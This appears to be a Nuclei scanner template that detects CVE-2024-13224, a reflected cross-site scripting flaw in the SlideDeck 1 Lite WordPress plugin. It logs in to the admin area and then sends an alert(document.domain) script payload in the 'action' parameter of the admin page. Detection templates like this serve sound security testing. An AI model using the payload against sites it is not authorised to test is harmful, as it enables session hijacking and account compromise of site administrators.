id: CVE-2024-13224

info:
  name: SlideDeck 1 Lite Content Slider - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    SlideDeck 1 Lite Content Slider WordPress plugin <= 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/32a90907-e82f-41b3-b20e-d10a722e2999/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13224
    cwe-id: CWE-79
    epss-score: 0.00572
    epss-percentile: 0.4407
    cpe: cpe:2.3:a:dtelepathy:slidedeck_1_lite_content_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dtelepathy
    product: slidedeck_1_lite_content_slider
  tags: cve,cve2024,wpscan,wp-plugin,dtelepathy,slidedeck-1-lite-content-slider

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=slidedeck.php/slidedeck_dynamic&action=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "dynamic_slidedeck_form")'
        condition: and
# digest: 4a0a00473045022066d92ce1f531e33b6bb1eb11dbc5710bc12ab8e9b635c3bc9f9737a540a761bd022100a486deb1ea8c85d56b08bf5c57bcd147a64297ac86b52ae46cc295a7f1a137ce:922c64590222798bb761d5b6d8e72950